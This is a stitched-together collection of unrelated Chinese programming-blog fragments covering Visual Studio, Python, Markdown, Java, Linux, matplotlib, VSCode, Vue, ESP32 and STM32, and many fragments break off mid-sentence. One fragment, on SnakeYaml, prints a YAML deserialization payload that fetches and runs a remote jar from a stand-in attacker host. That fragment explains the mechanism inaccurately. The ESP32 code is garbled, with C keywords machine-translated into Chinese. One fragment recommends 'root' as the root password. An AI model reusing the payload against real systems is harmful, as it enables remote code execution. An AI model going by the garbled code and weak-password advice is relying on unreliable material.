Visual Studio 中的远程文件管理器可以用来访问远程机器上的文件和文件夹,通过 Visual Studio 自带的连接管理器,可以实现不离开开发环境直接访问远程系统,这确实十分方便。
自从此功能发布以来,VS 开发团队努力工作,今天又为我们带来了新的功能,让我们来看看。
>> 请移步至 topomel.com 以查看图片 <<
背景知识 若要访问远程文件资源管理器,请在通过 Visual Studio 中的 Linux 和嵌入式工作流下载后导航到”查看 > 远程文件资源管理器”。
现在,当你打开跨平台 C++ 项目(适用于 Linux 的 vcxproj 或 CMake 项目,在具有远程 SSH 目标的 CMake 预设中至少有一个配置)时,它也将自动打开,如下图所示:
>> 请移步至 topomel.com 以查看图片 <<
可以在此处查看我们的初始公告,其中包括浏览,上传和下载文件。若要详细了解如何通过连接管理器连接到远程计算机,请参阅这些说明。
现在,你可以从Visual Studio查看和编辑这些文件,以及通过顶部栏搜索文件。此外,借助新的增强工具栏,你可以比以往任何时候都更能够快速对文件执行操作。
文件搜索 现在,你可以使用远程文件资源管理器中的顶部栏搜索远程计算机上的文件和文件夹。搜索后,通过在搜索结果上单击右键并选择”转到远程路径”,然后在远程文件资源管理器中导航到该结果的远程路径位置,如下图所示:
>> 请移步至 topomel.com 以查看图片 <<
查看和修改文件 远程文件资源管理器现在允许你从 Visual Studio 查看和编辑远程计算机上的文件,就像在解决方案资源管理器中查看和编辑任何其他文件一样。
>> 请移步至 topomel.com 以查看图片 <<
新的功能图标:主页和设置 远程文件资源管理器的工具栏中添加了新图标,使其比以往任何时候都更容易导航和执行操作。
>> 请移步至 topomel.com 以查看图片 <<
单击主页图标可快速将用户导航回根节点。单击设置图标将打开远程文件资源管理器设置,可以用来配置远程文件资源管理器。
>> 请移步至 topomel.
造成这个现象的原因是 Worldwide Developer Relations 中间关系证书缺失
我们只需要将相关证书下载并导入到「系统」级钥匙串即可
首先访问网站:https://www.apple.com/certificateauthority
下载右侧 Apple Intermediate Certificates 下方的如下证书
Developer AuthenticationWorldwide Developer Relations - G2Worldwide Developer Relations - G3Worldwide Developer Relations - G4Worldwide Developer Relations - G5Worldwide Developer Relations - G6Worldwide Developer Relations - G7Worldwide Developer Relations - G8 随后打开「钥匙串」,选中左侧的「系统」(System)并右键选择 解锁
此时把已经下载好的证书文件全部双击一次,过程中可能会出现输入密码的情况,输入确认即可,最终得到如下的几个开发者相关证书
最后点击左侧「登录」项,可以看到证书已经受信任
文章目录 定义函数:def()语句调用函数:输入函数名和参数对应的值参数return 返回值变量作用域 定义函数:def()语句 语法:
def 函数名(参数1,参数2,.....,参数n): 函数体 return 语句 举例:
def hello(name): print(name+"Good morning!") return 上面我们定义一个名字为hello的函数,括号内部是函数接收的参数name,紧接着就是函数的功能代码。
调用函数:输入函数名和参数对应的值 def hello(name): print(name+"Good morning!") return hello("lily") 多次调用
hello("lily,") hello("Mike,") 参数 位置参数 def menu(appetizer,course): print("一份开胃菜:"+appetizer) print("一份主食"+course) menu("手拍黄瓜","大米饭") 这里的"手拍黄瓜"和"大米饭"是对应参数appetizer和course的位置顺序传递的,所以被叫作位置参数,这也是最常见的参数类型。
默认参数
注意: 默认参数必须放在位置参数之后 def menu(appetizer,course,dessert="西瓜"): print("一份开胃菜:"+appetizer) print("一份主食:"+course) print("一份甜品:"+dessert) menu("手拍黄瓜","大米饭") 默认将"西瓜"传递给dessert,调用时无须再传递。
但是默认参数也会改变的,比如像下面python会自动将"银耳羹"传递给参数dessert。
menu("手拍黄瓜","大米饭","银耳羹") 不定长参数:一个星号*加上参数名 def menu(*barbeque): print(barbeque) menu("烤茄子","烤大肠","烤玉米") barbeque输出的是数据类型是元组,可以用for循环来迭代输出。代码如下:
def menu(appetizer,course,dessert,*barbeque): print("一份开胃菜:"+appetizer) print("一份主菜:"+course) print("一份甜品:"+dessert) for i in barbeque: print("一份烤串:"+i) menu("手拍黄瓜","大米饭","西瓜","烤茄子","烤大肠","烤玉米") return 返回值 return是返回值,当你输入参数给函数,函数就会返回一个值给你。事实上每个函数都会有返回值。
def wqf_album(a): if a==1: return "
标题 # Title1 ## Title2 ### Title3 #### Title4 ##### Title5 ###### Title6 字体格式 加粗 123abc
**123abc** 斜体 123abc
*123abc* 下划线 123abc
<u>123abc</u> 删除线 123abc
~~123abc~~ 代码 <a></a>
`<a></a>` 列表 有序列表 a a-a a-b bc 1. a 1. a-a 1. a-b 2. b 3. c 无序列表 1
1.1 1.2 2
3
- 1 - 1.1 - 1.2 - 2 - 3 任务列表 1
1.1 1.2 2
表格 1234默认对齐左对齐居中对齐右对齐 | 1 | 2 | 3 | 4 | | -------- | :----- | :------: | -----: | | 默认对齐 | 左对齐 | 居中对齐 | 右对齐 | 代码块 This is java language block.
SnakeYaml是一个流行的Java库,用于将YAML(YAML Ain’t Markup Language)数据转换为Java对象。然而,SnakeYaml在反序列化处理上存在安全漏洞,可能导致远程代码执行。本文将探讨SnakeYaml反序列化漏洞的原理,并提供相应的Java代码示例。
漏洞原理
SnakeYaml的反序列化漏洞是由于其对自定义类型的处理不当而引起的。攻击者可以构造恶意的YAML数据,其中包含特定的类型和命令,以触发远程代码执行。漏洞的根本原因是SnakeYaml在反序列化时会调用Java对象的默认构造函数,并在之后调用setter方法来设置对象的属性值。如果自定义类型的setter方法中存在恶意代码,那么在反序列化时,该恶意代码将被执行。
漏洞利用示例
下面是一个利用SnakeYaml反序列化漏洞的示例代码:
import org.yaml.snakeyaml.Yaml; public class SnakeYamlExploit { public static void main(String[] args) { String yamlData = "!!javax.script.ScriptEngineManager [\n" + " !!java.net.URLClassLoader [[\n" + " !!java.net.URL [\"http://attacker.com/evil.jar\"]\n" + " ]]\n" + "]"; Yaml yaml = new Yaml(); Object obj = yaml.load(yamlData); } } 在上述代码中,我们构造了一个包含javax.script.ScriptEngineManager类型的YAML数据。在反序列化时,SnakeYaml会尝试创建一个ScriptEngineManager对象,并调用其默认构造函数。然后,它会调用对象的setter方法,传入一个包含恶意代码的URLClassLoader对象。该恶意代码将尝试从http://attacker.com/evil.jar下载并执行恶意的Java代码。
防御措施
为了防止SnakeYaml反序列化漏洞的利用,可以采取以下措施: 3.1 更新到最新版本:SnakeYaml的开发团队通常会修复安全漏洞并发布新的版本。确保使用最新版本的SnakeYaml库可以减少受到已知漏洞的风险。
3.2 限制可信数据源:只允许从受信任的数据源加载YAML数据。可以通过配置Java安全策略或使用沙箱环境来限制从外部加载的类和代码。
3.3 序列化过滤:实施合适的反序列化过滤机制,只允许反序列化应用程序内部定义的类,并禁止反序列化不受信任的类。
总结
SnakeYaml是一个流行的Java库,用于YAML数据的解析和反序列化。然而,它存在反序列化漏洞,可能导致远程代码执行。为了减少受到此类漏洞的风险,开发人员应注意更新SnakeYaml到最新版本,并采取适当的安全措施,如限制可信数据源和实施序列化过滤机制来保护应用程序的安全性。 以上是关于SnakeYaml反序列化漏洞利用的分析,并提供了相应的Java代码示例。希望本文对您有所帮助!
当我们编写程序时,经常需要处理一些错误或异常。其中,抛出异常和捕获异常是最常见的两种处理方式。
抛出异常 抛出异常是指在程序执行过程中,遇到错误或异常情况,程序会主动抛出一个异常对象,告诉上层调用者当前的问题。抛出异常可以使用throw关键字,抛出的异常对象必须是Java中的Throwable及其子类。例如:
public void divide(int x, int y) { if (y == 0) { // 如果除数为0,则抛出异常 throw new ArithmeticException("除数不能为0"); } int result = x / y; // 执行相除操作 System.out.println("x / y = " + result); } 在这个示例中,当除数为0时,程序会主动抛出一个ArithmeticException异常。其他代码部分会被直接跳过,接下来会由上层调用者来处理该异常。
捕获异常 捕获异常是指程序在执行一段代码过程中,如果发现有异常被抛出,可以使用try-catch代码块来捕获该异常并进行处理。捕获异常可以使用try关键字来包含那些可能会抛出异常的代码,当程序执行到抛出异常的地方时,会跳到catch代码块中执行异常处理逻辑。例如:
public void readFromFile(String fileName) { try { // 尝试从文件中读取数据 BufferedReader br = new BufferedReader(new FileReader(fileName)); String line; while ((line = br.readLine()) != null) { System.out.println(line); } br.close(); } catch (IOException e) { // 根据异常类型进行不同的异常处理操作 System.
在服务器上运行:
java -jar test-0.0.1-SNAPSHOT.jar 报错:
no main manifest attribute, in test-0.0.1-SNAPSHOT.jar 原因: 原因是找不到主类。
一般情况下,java 打包成 jar 包需要在 MANIFEST.MF 中指定 Main-Class项,以便运行 java -jar xxx.jar 时找到对应的主类。
将test-0.0.1-SNAPSHOT.jar解压后
查看META-INF下的MANIFEST.MF
而正常的应该是这样的:
解决: 1.检查 maven 项目中的 pom.xml 中有没有缺少如下配置,缺少的话加上
<packaging>jar</packaging> 2.在 pom.xml 中的 build 标签下的 plugins 标签下加入如下打包插件配置
<plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> <version>2.6.0</version> <configuration> <mainClass>com.xtool.manager.MainDemo</mainClass> <finalName>XTool</finalName> <includes> <include> <groupId>nothing</groupId> <artifactId>nothing</artifactId> </include> </includes> </configuration> <executions> <execution> <goals> <goal>repackage</goal> </goals> </execution> </executions> </plugin> 说明:
mainClass 标签里是你的项目的启动类的包路径,如果你的项目没有有启动类也不需要通过 java -jar 运行的话可以删除 mainClassfinalName 标签里的就是打出来的 jar 名,我这里是 XTool ,最终生成的就是 XTool.
刚刚clone的项目,就提示git重定向
解决办法: 1、打开此项目中git文件夹(有的时候是隐藏文件夹),找到config文件 2、把里边的url地址加上 .git ,再使用命令就不会报错了。
MATLAB读取表格数据可用xlsread进行操作并赋值
读取、删除指定行、列。
A= xlsread('原始数据.xlsx')%读取名为“原始数据”的excel表格,并将其赋值于矩阵A中 A(:, 1) = [];%将A中第一列数据删除 A1=A(2,:);%将上一步得到矩阵只选取第2行数据赋于A1
天行健,君子以自强不息;地势坤,君子以厚德载物。
每个人都有惰性,但不断学习是好好生活的根本,共勉!
文章均为学习整理笔记,分享记录为主,如有错误请指正,共同学习进步。
文章目录 一、用户切换1. 用户切换到root2. root切换到用户 二、设置密码 一、用户切换 1. 用户切换到root 默认进入命令窗口是所在位置为用户所在位置,此时想要切换到root用户下可以执行以下命令
sudo su 2. root切换到用户 同理,root切换到指定用户命令如下
su hanshan2 hanshan2为用户名
二、设置密码 首先进入root用户
sudo su 进入root用户后输入命令设置root密码
sudo passwd root 密码可以设置少于8位,提示重新输入可以无视他,继续输入即可更新成功
我这里设置密码为root方便记且忘记也无所谓
感谢阅读,祝君暴富!
文章目录 plt.legend() 是Matplotlib库中用于添加图例(legend)的函数。图例是用于标识图表中各个数据系列的标签,以便读者可以理解图表中的不同数据含义。通过 plt.legend(),您可以将图例添加到您创建的图表中,以提高图表的可读性。以下是 plt.legend() 的详细介绍:
plt.legend(loc='best', prop={'size': 12}, title='图例标题') plt.legend() 可以接受以下参数:
loc:指定图例的位置。可以是字符串或整数。常用的位置包括:
'best'(默认值):自动选择最佳位置。'upper right':右上角。'upper left':左上角。'lower right':右下角。'lower left':左下角。'right':右侧。'center left':左侧中央。'center right':右侧中央。'lower center':底部中央。'upper center':顶部中央。其他位置参数和整数参数也可以用于精确指定位置。 prop:是一个字典,用于设置图例文本的属性,如字体大小、颜色等。在prop字典中,您可以使用键值对来指定各种属性,例如 {'size': 12, 'color': 'red'} 可以设置图例文本的大小为12,颜色为红色。
title:是一个可选参数,用于设置图例的标题。
要使用plt.legend(),首先需要在plt.plot() 中为每个数据系列添加标签(使用 label 参数),然后在创建图例之前调用 plt.legend()。以下是一个示例:
import matplotlib.pyplot as plt # 示例数据 x = [1, 2, 3, 4, 5] y1 = [10, 15, 13, 18, 16] y2 = [8, 12, 9, 14, 11] # 绘制数据,并添加标签 plt.plot(x, y1, label='数据系列1') plt.plot(x, y2, label='数据系列2') plt.
文章目录 介绍代码实例 介绍 plt.plot() 是Matplotlib库中用于绘制线图(折线图)的主要函数之一。它的作用是将一组数据点连接起来,以可视化数据的趋势、关系或模式。以下是 plt.plot() 的详细介绍:
plt.plot(x, y, fmt, **kwargs) x:表示X轴上的数据点,通常是一个列表、数组或一维序列,用于指定数据点的水平位置。y:表示Y轴上的数据点,通常也是一个列表、数组或一维序列,用于指定数据点的垂直位置。fmt:是一个可选的格式字符串,用于指定线条的样式、标记和颜色。例如,‘ro-’ 表示红色圆点线条。**kwargs:是一系列可选参数,用于进一步自定义线条的属性,如线宽、标记大小、标签等。 以下是一些常用参数和用法:
样式参数(fmt): 格式字符串可以包含一个字符来指定颜色,一个字符来指定标记样式,以及一个字符来指定线条样式。例如,‘r-’ 表示红色实线,‘bo–’ 表示蓝色圆点虚线。
线条样式(linestyle): 使用linestyle参数可以指定线条的样式,如实线(‘-’)、虚线(‘–’)、点划线(‘-.’)等。
标记样式(marker): 使用marker参数可以指定数据点的标记样式,如圆点(‘o’)、方块(‘s’)、星号(‘*’)等。
线条颜色(color): 使用color参数可以指定线条的颜色,可以使用颜色名称(如’red’)、缩写(如’r’)或十六进制颜色码(如’#FF5733’)。
线宽(linewidth): 使用linewidth参数可以指定线条的宽度,以数字表示。
标记大小(markersize): 使用markersize参数可以指定标记的大小,以数字表示。
图例标签(label): 使用label参数可以为线条指定标签,用于创建图例。
其他属性: 还有许多其他属性可用于自定义线图,如透明度、渐变、线型、阴影等。
plt.plot() 不仅可以绘制简单的线图,还可以用于绘制多条线,添加图例、标签、标题,设置坐标轴范围和刻度等。它是Matplotlib中最常用的绘图函数之一,适用于可视化数据集的趋势和关系。
代码实例 import matplotlib.pyplot as plt #显示中文 plt.rcParams['font.sans-serif'] = ['SimHei'] # 示例数据 x = [1, 2, 3, 4, 5] y = [10, 15, 13, 18, 16] # 绘制线图,并自定义外观 plt.plot( x, # X轴数据 y, # Y轴数据 marker='o', # 标记样式:圆点 linestyle='-', # 线条样式:实线 color='green', # 线条颜色:蓝色 linewidth=2, # 线宽:2 markersize=10, # 标记大小:8 label='数据1' # 图例标签 ) # 添加标签和标题 plt.
文章目录 Part.I BasicChap.I 中文环境配置Chap.II 重要信息Chap.III 快捷键 Part.II Extended UsageChap.I 外观和个性化Chap.II 一些好用的插件 Part.III JSON SyntaxChap.I 预定义变量 Part.I Basic Chap.I 中文环境配置 下载地址:
https://code.visualstudio.com/Download
https://code.visualstudio.com/
注:这俩链接都行,推荐选第一个,然后下zip,因为下了之后直接可以启动,不需安装,绿色版。
下载解压缩之后,运行exe就可,但是一开始是英文的,喜欢用英文的朋友可以忽略这步。如果想搞成中文的,就点左侧的扩展→搜索chinese→安装
安装好之后,快捷键Ctrl+shift+P →搜索language→选择Configure Language Display → 选 zh-cn
注:在操作的过程中,有可能会让你重启软件,重启就好,秒重启,么得问题。
Chap.II 重要信息 首先是VScode的界面,值得注意的是随着安装的插件越来越多,VScode 的界面也会变得更加丰富。
刚开始我看网上教程,说把makedown格式的文本贴进去,之后Ctrl+K+V就可以预览,但是我咋操作都不成功。原来是我下面那个“语言模式”没选“makedown”,我真是个憨憨。
插件安装路径
这个软件很小,所以功能全靠插件撑,所以有必要知道软件插件的安装路径。软件插件默认的安装路径为:
C:\Users(用户)\Administrator(你的用户名).vscode\extensions
比如我的:C:\Users\Lenovo 110.vscode\extensions
如果有多个盘的话,我们都不希望把这些东西搞到系统盘,所以,下面介绍一下如何更改插件的安装路径。
新建一个文件夹准备来安置插件,路径最好不要有空格等,空格最好用下划线代替。
打开快捷方式所在位置
右键快捷方式→属性→快捷方式→目标,然后在后面加:--extensions-dir yourpath,比如我的: --extensions-dir D:\Program\VSCode_extensions
将默认插件文价夹C:\Users(用户)\Administrator(你的用户名).vscode\extensions下之前下的插件,移动到新建的那个文件夹,如果没有安插件的话忽略这步,欧了!
这样就不用担心安装的插件太多,卡电脑了。这块参考博客:
https://blog.csdn.net/woyizhizaizhaoni/article/details/103268954
Chap.III 快捷键 通过快捷键Ctrl+K+S可以设置VSCode的快捷键。下面列几个超级常用的快捷键。
快捷键含义Ctrl+Shift+P or F1显示命令面板Ctrl+K+S键盘快捷键设置Ctrl+,打开用户设置Ctrl+X剪切Ctrl+C复制Ctrl+Z撤销Ctrl+Y恢复Ctrl+K+0折叠所有区域Ctrl+K+J展开所有区域Ctrl+K+C注释选中代码Ctrl+K+U移除选中代码的注释Ctrl+K, P复制活动文件的路径Ctrl+K+W关闭所有Ctrl+Shift+T重新打开关闭的编辑器F9切换断点F5开始/继续Shift+F5停止F11 / Shift+F11下一步/上一步F10跳过F11全屏切换Shift+Alt+0切换编辑器布局(水平/垂直)Ctrl+K, Z禅宗模式(Esc 退出)Ctrl+ `显示集成终端,就是你用什么语言显示什么终端Ctrl+Shift+ `创建新终端 Part.II Extended Usage 首先需要知道如何打开.json文件,Ctrl+Shift+P显示命令面板,然后输入settings,找到相应的.json文件。实际上也可以直接进行UI更改,根据自己的个人偏好来就行。
一.描述 quirc是一款专用于识别二维码(不能识别一维码)的开源软件。它比zbar轻量一些,跟zbar一样能扫描码流和静态图片识别条形码,
库文件总共6个文件,非常的小,编译之后的静态库只有25kb。官方代码是依赖libjpg库和linpng库进行解码转换成灰度后再进行二维码检测的。本次仅仅传入灰度图片进行解码,将不依赖jpeg和png进行二维码检测功能
二.使用样例 #include <stdio.h> #include <errno.h> #include <string.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> #include <dirent.h> #include <ctype.h> #include <quirc.h> #include <setjmp.h> #include <time.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdlib.h> static void rgb888tomonochrome(uint8_t *rgb_data, int width, int height, uint8_t *dst) { int i, j; for (i = 0; i < height; i++) { for (j = 0; j < width; j++) { unsigned char *pixel = rgb_data + (i * width + j) * 3; unsigned char r = pixel[0]; unsigned char g = pixel[1]; unsigned char b = pixel[2]; *(dst++) = (r + g + b) / 3; } } } int main(int argc, char **argv) { /*读rgb数据*/ if (argc !
Vue2信息提示(Modal)
可自定义设置以下属性:
提示框宽度(width),类型:number,默认 420px
取消按钮文字(cancelText),类型:string,默认 '取消'
确认按钮文字(okText),类型:string,默认 '确认'
通知按钮文字(noticeText),类型:string,默认 '知道了'
是否水平垂直居中(center),类型:boolean,默认 true,center 为 false 时固定高度水平居中
固定高度水平居中时,距顶部高度(top),类型:number,单位px,默认 100px
加载中(loading),类型:boolean,默认 false
提示框是否可见(visible),类型:boolean,默认 false
弹窗类型一共有六种:'info' 'success' 'error' 'warn' 'confirm' 'erase',弹窗随内容自适应增加高度;同时支持对弹窗位置进行设置:①水平垂直居中②高度固定水平居中
效果如下图:在线预览(整体样式模仿ant-design-vue Modal,同时阴影覆盖浏览器窗口)
modal.value.confirm():
modal.value.erase():
modal.value.info():
modal.value.success():
modal.value.error():
modal.value.warn():
其中引入使用了Vue3加载中(Spin)、Vue3按钮(Button) ①创建信息提示框组件Modal.vue:
<script setup lang="ts"> import Spin from '../spin' import Button from '../button' import { ref } from 'vue' interface Desc { title: string // 标题 content: string // 内容 } interface Props { width?
///GAP BLE回调事件类型 typedef枚举{ #如果(BLE_42_FEATURE_SUPPORT==真) ESP_GAP_BLE_ADV_DATA_SET_COMPLETE_EVT=0,/*!<当广告数据集完成时,事件就来了*/ ESP_GAP_BLE_SCAN_RSP_DATA_SET_COMPLETE_EVT,/*!<扫描响应数据集完成后,事件出现*/ ESP_GAP_BLE_SCAN_PARAM_SET_COMPLETE_EVT,/*!<扫描参数设置完成后,事件出现*/ ESP_GAP_BLE_SCAN_RESULT_EVT,/*!<当一个扫描结果就绪时,每次都会出现该事件*/ ESP_GAP_BLE_ADV_DATA_RAW_SET_COMPLETE_EVT,/*!<当原始广告数据集完成时,事件就来了*/ ESP_GAP_BLE_SCAN_RSP_DATA_RAW_SET_COMPLETE_EVT,/*!<当原始广告数据集完成时,事件就来了*/ ESP_GAP_BLE_ADV_START_COMPLETE_EVT,/*!<当开始广告完成时,活动就来了*/ ESP_GAP_BLE_SCAN_START_COMPLETE_EVT,/*!<启动扫描完成时,事件出现*/ #endif//#if(BLE_42_FEATURE_SUPPORT==TRUE) ESP_GAP_BLE_AUTH_CMPL_EVT=8,/*!<身份验证完成指示*/ ESP_GAP_BLE_KEY_EVT,/*!<对等设备密钥的BLE密钥事件*/ ESP_GAP_BLE_SEC_REQ_EVT,/*!<BLE安全请求*/ ESP_GAP_BLE_PASSKEY_NOTIF_EVT,/*!<密钥通知事件*/ ESP_GAP_BLE_PASSKEY_REQ_EVT,/*!<密钥请求事件*/ ESP_GAP_BLE_OOB_REQ_EVT,/*!<OOB请求事件*/ ESP_GAP_BLE_LOCAL_IR_EVT,/*!<BLE本地IR(用于生成长期密钥的身份根128位随机静态值)事件*/ ESP_GAP_BLE_LOCAL_ER_EVT,/*!<BLE本地ER(用于生成身份解析密钥的加密根密钥)事件*/ ESP_GAP_BLE_NC_REQ_EVT,/*!<数字比较请求事件*/ #如果(BLE_42_FEATURE_SUPPORT==真) ESP_GAP_BLE_ADV_STOP_COMPLETE_EVT,/*!<当停止adv完成时,事件发生*/ ESP_GAP_BLE_SCAN_STOP_COMPLETE_EVT,/*!<停止扫描完成后,事件出现*/ #endif//#if(BLE_42_FEATURE_SUPPORT==TRUE) ESP_GAP_BLE_SET_STATIC_RAND_ADDR_EVT=19,/*!<当设置静态rand地址完成时,事件出现*/ ESP_GAP_BLE_UPDATE_CONN_PARAMS_EVT,/*!<更新连接参数完成后,事件出现*/ ESP_GAP_BLE_SET_PKT_LENGTH_COMPLETE_EVT,/*!<当设置pkt长度完成时,事件出现*/ ESP_GAP_BLE_SET_LOCAL_PRIVACY_COMPLETE_EVT,/*!<当本地设备上的启用/禁用隐私完成时,事件出现*/ ESP_GAP_BLE_REMOVE_BOND_DEV_COMPLETE_EVT,/*!<当移除粘合设备完成时,事件发生*/ ESP_GAP_BLE_CLEAR_BOND_DEV_COMPLETE_EVT,/*!<当清除绑定设备清除完成时,事件发生*/ ESP_GAP_BLE_GET_BOND_DEV_COMPLETE_EVT,/*!<完成绑定设备列表后,事件出现*/ ESP_GAP_BLE_READ_RSSI_COMPLETE_EVT,/*!<当读取rssi完成时,事件出现*/ ESP_GAP_BLE_UPDATE_WHITELIST_COMPLETE_EVT,/*!<添加或删除白名单完成后,事件出现*/ #如果(BLE_42_FEATURE_SUPPORT==真) ESP_GAP_BLE_UPDATE_deplicate_EXCEPTIONAL_LIST_COMPLETE_EVT,/*!<当更新重复异常列表完成时,事件出现*/ #endif//#if(BLE_42_FEATURE_SUPPORT==TRUE) ESP_GAP_BLE_SET_CHANNELS_EVT=29,/*!<当设置BLE通道完成时,事件出现*/ #如果(BLE_50_FFEATURE_SUPPORT==真) ESP_GAP_BLE_READ_PHY_COMPLETE_EVT,/*!<当读取phy完成时,会出现此事件*/ ESP_GAP_BLE_SET_PREFERRED_DEFAULT_PHY_COMPLETE_EVT,/*!<当首选默认phy完成时,将出现此事件*/ ESP_GAP_BLE_SET_PREFERRED_PHY_COMPLETE_EVT,/*!<当首选phy完成时,此事件出现*/ ESP_GAP_BLE_EXT_ADV_SET_RAND_ADDR_COMPLETE_EVT,/*!<当扩展设置随机地址完成时,事件出现*/ ESP_GAP_BLE_EXT_ADV_SET_rams_COMPLETE_EVT,/*!<当扩展的广告参数完成时,事件出现*/ ESP_GAP_BLE_EXT_ADV_DATA_SET_COMPLETE_EVT,/*!<当扩展广告数据完成时,事件就来了*/ ESP_GAP_BLE_EXT_SCAN_RSP_DATA_SET_COMPLETE_EVT,/*!<当扩展扫描响应数据完成时,事件出现*/ ESP_GAP_BLE_EXT_ADV_START_COMPLETE_EVT,/*!<当扩展广告开始完成时,活动就来了*/ ESP_GAP_BLE_EXT_ADV_STOP_COMPLETE_EVT,/*!<当延长广告结束时,活动就来了*/ ESP_GAP_BLE_EXT_ADV_SET_move_COMPLETE_EVT,/*!<当扩展广告集删除完成时,事件发生*/ ESP_GAP_BLE_EXT_ADV_SET_CLEAR_COMPLETE_EVT,/*!<当扩展广告集清空时,活动就来了*/ ESP_GAP_BLE_PERIODIC_ADV_SET_rams_COMPLETE_EVT,/*!<当周期性广告参数完成时,事件发生*/ ESP_GAP_BLE_PERIODIC_av_DATA_SET_COMPLETE_EVT,/*!<当定期广告数据完成时,事件就来了*/ ESP_GAP_BLE_PERIODIC_ADV_START_COMPLETE_EVT,/*!<当定期广告开始完成时,活动就来了*/ ESP_GAP_BLE_PERIODIC_ADV_STOP_COMPLETE_EVT,/*!<当定期广告停止时,活动就来了*/ ESP_GAP_BLE_PERIODIC__ADV_CREATE_SYNC_COMPLETE_EVT,/*!<当定期广告创建同步完成时,事件就来了*/ ESP_GAP_BLE_PERIODIC_ADV_SYNC_CANCEL_COMPLETE_EVT,/*!<当扩展广告同步取消完成时,事件出现*/ ESP_GAP_BLE_PERIODIC_ADV_SYNC_TERMINATE_COMPLETE_EVT,/*!<当扩展广告同步终止完成时,事件出现*/ ESP_GAP_BLE_PERIODIC_ADD_DEV_COMPLETE_EVT,/*!<当扩展广告添加设备完成时,事件就来了*/ ESP_GAP_BLE_PERIODIC__ADV_REMOVE_DEV_COMPLETE_EVT,/*!<当扩展广告删除设备完成时,事件出现*/ ESP_GAP_BLE_PERIODIC__ADV_CLEAR_DEV_COMPLETE_EVT,/*!<当扩展广告清除设备时,事件发生*/ ESP_GAP_BLE_SET_EXT_SCAN_PARAMS_COMPLETE_EVT,/*!<当扩展扫描参数完成时,事件出现*/ ESP_GAP_BLE_EXT_SCAN_START_COMPLETE_EVT,/*!<当扩展扫描开始完成时,事件出现*/ ESP_GAP_BLE_EXT_SCAN_STOP_COMPLETE_EVT,/*!<当扩展扫描停止完成时,事件出现*/ ESP_GAP_BLE_PREFER_EXT_CONN_PARAMS_SET_COMPLETE_EVT,/*!<当扩展首选连接参数集完成时,事件出现*/ ESP_GAP_BLE_PHY_UPDATE_COMPLETE_EVT,/*!<当ble phy更新完成时,事件发生*/ ESP_GAP_BLE_EXT_ADV_REPORT_EVT,/*!<当扩展广告报告完成时,活动就来了*/ ESP_GAP_BLE_SCAN_TIMEOUT_EVT,/*!<扫描超时完成时,事件出现*/ ESP_GAP_BLE_ADV_TERMINATED_EVT,/*!<当广告终止数据完成时,事件发生*/ ESP_GAP_BLE_SCAN_REQ_RECEIVED_EVT,/*!<当扫描请求接收完成时,事件出现*/ ESP_GAP_BLE_CHANNEL_SELECT_algorith_EVT,/*!<当通道选择算法完成时,事件出现*/ ESP_GAP_BLE_PERIODIC_ADV_REPORT_EVT,/*!<当定期报告广告发布完成时,事件就来了*/ ESP_GAP_BLE_PERIODIC_ADV_SYNC_LOST_EVT,/*!<当定期广告同步丢失完成时,事件发生*/ ESP_GAP_BLE_PERIODIC_ADV_SYNC_ESTAB_EVT,/*!<当定期广告同步建立完成时,事件就来了*/ #endif//#if(BLE_50_FFEATURE_SUPPORT==TRUE) ESP_GAP_BLE_EVT_MAX,/*!<当最大的广告活动完成时,活动就来了*/ }esp_gap_ble_cb_event_t;
/** * Copyright (c) 2015 - 2021, Nordic Semiconductor ASA * * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * 2. Redistributions in binary form, except as embedded into a Nordic * Semiconductor ASA integrated circuit in a product or a software update for * such product, must reproduce the above copyright notice, this list of * conditions and the following disclaimer in the documentation and/or other * materials provided with the distribution.
;******************** (C) COPYRIGHT 2011 STMicroelectronics ******************** ;* File Name : startup_stm32f10x_hd.s ;* Author : MCD Application Team ;* Version : V3.5.0 ;* Date : 11-March-2011 ;* Description : STM32F10x High Density Devices vector table for MDK-ARM ;* toolchain. ;* This module performs: ;* - Set the initial SP ;* - Set the initial PC == Reset_Handler ;* - Set the vector table entries with the exceptions ISR address ;* - Configure the clock system and also configure the external ;* SRAM mounted on STM3210E-EVAL board to be used as data ;* memory (optional, to be enabled by user) ;* - Branches to __main in the C library (which eventually ;* calls main()).
【产品介绍】
• 名称
PoeAI
• 成立/上线时间
2023年
• 具体描述
Poe.com是一个提供免费 AI 聊天机器人服务的平台,可以帮助用户解决各种问题,学习新知识,或者只是为了娱乐而聊天。用户可以通过手机、邮箱或者谷歌、苹果账号注册登录,然后选择感兴趣的话题或者输入自己的问题,就可以开始和 AI 聊天了。Poe.com 的 AI 聊天机器人基于ChatGPT以及Claude等大语言模型,有多种语言和风格,可以根据用户的喜好和需求进行切换。Poe.com 的目标是让 AI 聊天变得更加简单、有趣和有用,让用户能够从中获得知识、乐趣和帮助。Poe.com 也在不断地改进和更新自己的 AI 聊天技术,让机器人能够更好地理解和回应用户的问题和意图,提高聊天的质量和效率。Poe.com 是一个适合所有年龄和兴趣的网站,无论你是想要学习新事物,还是想要放松一下,都可以在这里找到合适的 AI 聊天伙伴。 【团队介绍】
• 创始人
Quora公司 创始人 Adam D'Angelo
• 总部位置 美国加利福尼亚州“硅谷“山景城 【产品功能】 不限制注册:用户只需使用邮箱即可注册使用。 链接稳定:Poe的链接稳定,用户可以更加顺畅地使用。 回复迅速且提供联想提问:Poe回复速度快,且在回答问题时会提供联想提问,更加方便用户发散思维、获取灵感。 搭载多款聊天机器人:Poe有多款聊天机器人,每款机器人都有自己擅长的领域,用户可以根据自己的需求,体验不同机器人。例如,Sage擅长处理语言相关的问题,例如创作文章、翻译等;而Claude则擅长对话。 有趣的互动体验:与ChatGPT不同,Poe更像是有趣的AI伙伴,可以提供更加有趣的互动体验,而非只回答专业问题。 【产品价格】 Poe.com 是一个免费使用的网站,用户不需要支付任何费用就可以注册登录并使用所有的功能。但是如果用户想要获得更多的优惠和特权,可以选择购买Poe.com 的会员服务。Poe.com 的会员服务分为三个等级:银牌、金牌和钻石。不同等级的会员服务有不同的价格和权益。
【常见问题】
